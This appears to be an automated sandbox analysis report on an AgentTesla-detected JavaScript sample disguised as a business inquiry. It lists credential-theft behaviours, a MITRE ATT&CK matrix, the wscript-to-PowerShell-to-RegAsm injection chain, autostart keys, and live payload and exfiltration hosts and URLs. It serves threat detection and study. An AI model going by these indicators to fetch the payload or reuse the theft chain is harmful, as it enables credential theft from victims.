                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7944, type: MEMORYSTR
                      Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\SessionsJump to behavior
                      Tries to harvest and steal browser information (history, passwords, etc)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqliteJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.iniJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.iniJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                      Tries to harvest and steal ftp login credentials
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\FTP Navigator\Ftplist.txtJump to behavior
                      Tries to steal Mail credentials (via file / registry access)
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.iniJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
                      Source: Yara matchFile source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7944, type: MEMORYSTR

                      Remote Access Functionality

                      barindex
                      Yara detected AgentTesla
                      Source: Yara matchFile source: 7.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 4.2.powershell.exe.1a8e949b578.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C4E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C71000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000007.00000002.2699963900.0000000002C21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7944, type: MEMORYSTR

                      Mitre Att&ck Matrix

                      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                      Gather Victim Identity Information22
                      Scripting                      		Valid Accounts231
                      Windows Management Instrumentation                      		22
                      Scripting                      		1
                      DLL Side-Loading                      		1
                      Disable or Modify Tools                      		2
                      OS Credential Dumping                      		1
                      File and Directory Discovery                      		Remote Services11
                      Archive Collected Data                      		1
                      Ingress Tool Transfer                      		Exfiltration Over Other Network MediumAbuse Accessibility Features
                      CredentialsDomainsDefault Accounts1
                      Exploitation for Client Execution                      		1
                      DLL Side-Loading                      		211
                      Process Injection                      		1
                      Deobfuscate/Decode Files or Information                      		1
                      Input Capture                      		34
                      System Information Discovery                      		Remote Desktop Protocol2
                      Data from Local System                      		11
                      Encrypted Channel                      		Exfiltration Over BluetoothNetwork Denial of Service
                      Email AddressesDNS ServerDomain Accounts11
                      Command and Scripting Interpreter                      		11
                      Registry Run Keys / Startup Folder                      		11
                      Registry Run Keys / Startup Folder                      		2
                      Obfuscated Files or Information                      		1
                      Credentials in Registry                      		531
                      Security Software Discovery                      		SMB/Windows Admin Shares1
                      Email Collection                      		1
                      Non-Standard Port                      		Automated ExfiltrationData Encrypted for Impact
                      Employee NamesVirtual Private ServerLocal Accounts3
                      PowerShell                      		Login HookLogin Hook1
                      Software Packing                      		NTDS1
                      Process Discovery                      		Distributed Component Object Model1
                      Input Capture                      		2
                      Non-Application Layer Protocol                      		Traffic DuplicationData Destruction
                      Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                      DLL Side-Loading                      		LSA Secrets261
                      Virtualization/Sandbox Evasion                      		SSHKeylogging13
                      Application Layer Protocol                      		Scheduled TransferData Encrypted for Impact
                      Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts261
                      Virtualization/Sandbox Evasion                      		Cached Domain Credentials1
                      Application Window Discovery                      		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                      DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items211
                      Process Injection                      		DCSync1
                      System Network Configuration Discovery                      		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                      Behavior Graph

                      Hide Legend

                      Legend:

                      • Process
                      • Signature
                      • Created File
                      • DNS/IP Info
                      • Is Dropped
                      • Is Windows Process
                      • Number of created Registry Values
                      • Number of created Files
                      • Visual Basic
                      • Delphi
                      • Java
                      • .Net C# or VB.NET
                      • C, C++ or other language
                      • Is malicious
                      • Internet
                      behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1501719 Sample: INQUIRY#46789_MAT24_NEW_PRO... Startdate: 30/08/2024 Architecture: WINDOWS Score: 100 34 smtp.zoho.eu 2->34 36 ip-api.com 2->36 38 2 other IPs or domains 2->38 52 Suricata IDS alerts for network traffic 2->52 54 Found malware configuration 2->54 56 Malicious sample detected (through community Yara rule) 2->56 58 13 other signatures 2->58 10 wscript.exe 1 1 2->10         started        signatures3 process4 signatures5 68 JScript performs obfuscated calls to suspicious functions 10->68 70 Suspicious powershell command line found 10->70 72 Wscript starts Powershell (via cmd or directly) 10->72 74 4 other signatures 10->74 13 powershell.exe 7 10->13         started        process6 signatures7 76 Suspicious powershell command line found 13->76 78 Suspicious execution chain found 13->78 80 Found suspicious powershell code related to unpacking or dynamic code loading 13->80 16 powershell.exe 15 16 13->16         started        20 conhost.exe 13->20         started        process8 dnsIp9 30 epanpano.com 78.142.208.13, 443, 49706 VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLi Turkey 16->30 32 ia601606.us.archive.org 207.241.227.86, 443, 49705 INTERNET-ARCHIVEUS United States 16->32 44 Creates autostart registry keys with suspicious values (likely registry only malware) 16->44 46 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 16->46 48 Writes to foreign memory regions 16->48 50 Injects a PE file into a foreign processes 16->50 22 RegAsm.exe 15 2 16->22         started        26 cmd.exe 1 16->26         started        signatures10 process11 dnsIp12 40 ip-api.com 208.95.112.1, 49707, 80 TUT-ASUS United States 22->40 42 smtp.zoho.eu 185.230.212.164, 49708, 49709, 587 COMPUTERLINEComputerlineSchlierbachSwitzerlandCH Netherlands 22->42 60 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 22->60 62 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 22->62 64 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 22->64 66 4 other signatures 22->66 28 conhost.exe 26->28         started        signatures13 process14

                      Screenshots

                      Thumbnails

                      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                      windows-stand

                      Antivirus, Machine Learning and Genetic Malware Detection

                      Initial Sample

                      SourceDetectionScannerLabelLink
                      INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js8%ReversingLabs

                      Dropped Files

                      ⊘No Antivirus matches

                      Unpacked PE Files

                      ⊘No Antivirus matches

                      Domains

                      SourceDetectionScannerLabelLink
                      smtp.zoho.eu0%VirustotalBrowse
                      ia601606.us.archive.org0%VirustotalBrowse
                      ip-api.com0%VirustotalBrowse
                      epanpano.com0%VirustotalBrowse

                      URLs

                      SourceDetectionScannerLabelLink
                      http://nuget.org/NuGet.exe0%URL Reputationsafe
                      https://account.dyn.com/0%URL Reputationsafe
                      http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                      http://crl.microsoft0%URL Reputationsafe
                      https://go.micro0%URL Reputationsafe
                      https://contoso.com/License0%URL Reputationsafe
                      https://contoso.com/Icon0%URL Reputationsafe
                      https://contoso.com/0%URL Reputationsafe
                      https://nuget.org/nuget.exe0%URL Reputationsafe
                      http://ip-api.com0%URL Reputationsafe
                      https://oneget.orgX0%URL Reputationsafe
                      https://aka.ms/pscore680%URL Reputationsafe
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                      https://oneget.org0%URL Reputationsafe
                      http://ip-api.com/line/?fields=hosting0%URL Reputationsafe
                      https://epanpano.com0%Avira URL Cloudsafe
                      http://www.apache.org/licenses/LICENSE-2.00%Avira URL Cloudsafe
                      http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p0%Avira URL Cloudsafe
                      http://www.apache.org/licenses/LICENSE-2.0.html0%Avira URL Cloudsafe
                      http://www.microsoft.co0%Avira URL Cloudsafe
                      https://ia601606.us.archive.org/10/items/deathnote0%Avira URL Cloudsafe
                      https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg100%Avira URL Cloudmalware
                      http://cacerts.thawte.com/ThawteTLSRSACAG1.crt00%Avira URL Cloudsafe
                      http://www.apache.org/licenses/LICENSE-2.0.html0%VirustotalBrowse
                      http://www.microsoft.co1%VirustotalBrowse
                      http://www.apache.org/licenses/LICENSE-2.00%VirustotalBrowse
                      https://github.com/Pester/Pester0%Avira URL Cloudsafe
                      http://smtp.zoho.eu0%Avira URL Cloudsafe
                      https://ia601606.us.archive.org/10/items/deathnote0%VirustotalBrowse
                      http://status.thawte.com0:0%Avira URL Cloudsafe
                      http://epanpano.com0%Avira URL Cloudsafe
                      http://smtp.zoho.eu0%VirustotalBrowse
                      https://epanpano.com/log/ORGN.txt0%Avira URL Cloudsafe
                      http://cdp.thawte.com/ThawteTLSRSACAG1.crl0p0%VirustotalBrowse
                      https://ia601606.us.arX0%Avira URL Cloudsafe
                      https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg4%VirustotalBrowse
                      http://ia601606.us.archive.org0%Avira URL Cloudsafe
                      https://ia601606.us.archive.org0%Avira URL Cloudsafe
                      https://github.com/Pester/Pester1%VirustotalBrowse
                      http://epanpano.com0%VirustotalBrowse
                      http://cacerts.thawte.com/ThawteTLSRSACAG1.crt00%VirustotalBrowse
                      http://ia601606.us.archive.org0%VirustotalBrowse
                      https://ia601606.us.archive.org0%VirustotalBrowse

                      Domains and IPs

                      Contacted Domains

                      NameIPActiveMaliciousAntivirus DetectionReputation
                      smtp.zoho.eu
                      		185.230.212.164
                      		truetrueunknown
                      ia601606.us.archive.org
                      		207.241.227.86
                      		truetrueunknown
                      ip-api.com
                      		208.95.112.1
                      		truetrueunknown
                      epanpano.com
                      		78.142.208.13
                      		truetrueunknown

                      Contacted URLs

                      NameMaliciousAntivirus DetectionReputation
                      https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpgtrue
                      • 4%, Virustotal, Browse
                      • Avira URL Cloud: malware
                      		unknown
                      https://epanpano.com/log/ORGN.txttrue
                      • Avira URL Cloud: safe
                      		unknown
                      http://ip-api.com/line/?fields=hostingfalse
                      • URL Reputation: safe
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://nuget.org/NuGet.exepowershell.exe, 00000004.00000002.1529607955.000001A8DAA19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://epanpano.compowershell.exe, 00000004.00000002.1529607955.000001A8D94E0000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://account.dyn.com/powershell.exe, 00000004.00000002.1545150331.000001A8E9449000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697144825.0000000000402000.00000040.00000400.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://crl.microsoftpowershell.exe, 00000004.00000002.1568396921.000001A8F14C9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://go.micropowershell.exe, 00000004.00000002.1529607955.000001A8DA0A1000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://cdp.thawte.com/ThawteTLSRSACAG1.crl0pRegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://www.microsoft.copowershell.exe, 00000004.00000002.1566950890.000001A8F12C9000.00000004.00000020.00020000.00000000.sdmpfalse
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/Licensepowershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://contoso.com/Iconpowershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://ia601606.us.archive.org/10/items/deathnotepowershell.exe, 00000002.00000002.1590939976.0000020212486000.00000004.00000800.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://github.com/Pester/Pesterpowershell.exe, 00000004.00000002.1529607955.000001A8DA992000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 1%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://smtp.zoho.euRegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      http://status.thawte.com0:RegAsm.exe, 00000007.00000002.2713398889.00000000060B2000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2697982737.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698787111.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2698971154.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002C54000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002DFB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2713398889.0000000006096000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://contoso.com/powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.1529607955.000001A8DAA19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1545150331.000001A8E9180000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://ip-api.comRegAsm.exe, 00000007.00000002.2699963900.0000000002BF1000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://oneget.orgXpowershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://epanpano.compowershell.exe, 00000004.00000002.1529607955.000001A8D9663000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://ia601606.us.arXpowershell.exe, 00000004.00000002.1529607955.000001A8DA741000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      https://aka.ms/pscore68powershell.exe, 00000002.00000002.1590939976.0000020211D1D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1590939976.0000020211D33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9111000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.1590939976.0000020211D60000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9111000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000007.00000002.2699963900.0000000002BF1000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://ia601606.us.archive.orgpowershell.exe, 00000004.00000002.1529607955.000001A8DA747000.00000004.00000800.00020000.00000000.sdmpfalse
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown
                      https://oneget.orgpowershell.exe, 00000004.00000002.1529607955.000001A8DA78F000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://ia601606.us.archive.orgpowershell.exe, 00000004.00000002.1529607955.000001A8DA479000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1529607955.000001A8D9333000.00000004.00000800.00020000.00000000.sdmptrue
                      • 0%, Virustotal, Browse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      207.241.227.86
                      		ia601606.us.archive.orgUnited States
                      		7941INTERNET-ARCHIVEUStrue
                      208.95.112.1
                      		ip-api.comUnited States
                      		53334TUT-ASUStrue
                      185.230.212.164
                      		smtp.zoho.euNetherlands
                      		41913COMPUTERLINEComputerlineSchlierbachSwitzerlandCHtrue
                      78.142.208.13
                      		epanpano.comTurkey
                      		209853VERIDYENVeridyenBilisimTeknolojileriSanayiveTicaretLitrue

                      General Information

                      Joe Sandbox version:40.0.0 Tourmaline
                      Analysis ID:1501719
                      Start date and time:2024-08-30 10:37:55 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 6m 15s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:14
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js
                      Detection:MAL
                      Classification:mal100.spre.troj.spyw.expl.evad.winJS@11/5@4/4
                      EGA Information:
                      • Successful, ratio: 66.7%
                      HCA Information:
                      • Successful, ratio: 100%
                      • Number of executed functions: 74
                      • Number of non-executed functions: 1
                      Cookbook Comments:
                      • Found application associated with file extension: .js

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                      • Execution Graph export aborted for target powershell.exe, PID 7564 because it is empty
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Report size getting too big, too many NtReadVirtualMemory calls found.
                      • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      04:38:53API Interceptor44x Sleep call for process: powershell.exe modified
                      04:39:01API Interceptor56x Sleep call for process: RegAsm.exe modified
                      10:39:00AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\atrophiante.js
                      10:39:08AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Path C:\ProgramData\atrophiante.js

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      207.241.227.86Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                        payment PAGO 2974749647839452.jsGet hashmaliciousUnknownBrowse
                          payment PAGO 2974749647839452.jsGet hashmaliciousFormBookBrowse
                            RFQ-MR-24-09101 SPS.jsGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                              INQUIRY#46789-AUG24.jsGet hashmaliciousAgentTeslaBrowse
                                RFQ448903423_MAT_HASUE_de_Mexico.jsGet hashmaliciousAgentTeslaBrowse
                                  INQUIRY#46789-AUG24.jsGet hashmaliciousRemcosBrowse
                                    Comprovante_Swift.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                      Shipping Documents.jsGet hashmaliciousRemcosBrowse
                                        shipping documents.jsGet hashmaliciousUnknownBrowse
                                          208.95.112.1inv-lista de embalaje de env#U00edo 08-29.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          OFFER-INQUIRY.jarGet hashmaliciousSTRRATBrowse
                                          • ip-api.com/json/
                                          adbce.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                          • ip-api.com/json/
                                          dlmgr.exeGet hashmaliciousAZORult, Quasar, RamnitBrowse
                                          • ip-api.com/json/
                                          REVISED PI.PDF.exeGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          NEW ORDER.exeGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          Orden de compra.000854657689654253545676785436.exeGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          00_datos de la transacci#U00f3n rechazada y n#U00famero de cuenta incorrecto.exeGet hashmaliciousAgentTeslaBrowse
                                          • ip-api.com/line/?fields=hosting
                                          1.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                          • ip-api.com/line/?fields=hosting
                                          185.230.212.164Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                            172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exeGet hashmaliciousAgentTeslaBrowse
                                              RFQ448903423_MAT_HASUE_de_Mexico.jsGet hashmaliciousAgentTeslaBrowse
                                                File.com.exeGet hashmaliciousDarkTortilla, Snake Keylogger, VIP KeyloggerBrowse
                                                  Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.exeGet hashmaliciousAgentTesla, DarkTortillaBrowse
                                                    1qwF1J2Njh.exeGet hashmaliciousAgentTeslaBrowse

                                                      Domains

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      epanpano.comPedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 78.142.208.13
                                                      ip-api.cominv-lista de embalaje de env#U00edo 08-29.xlam.xlsxGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.jsGet hashmaliciousAgentTeslaBrowse
                                                      • 208.95.112.1
                                                      OFFER-INQUIRY.jarGet hashmaliciousSTRRATBrowse
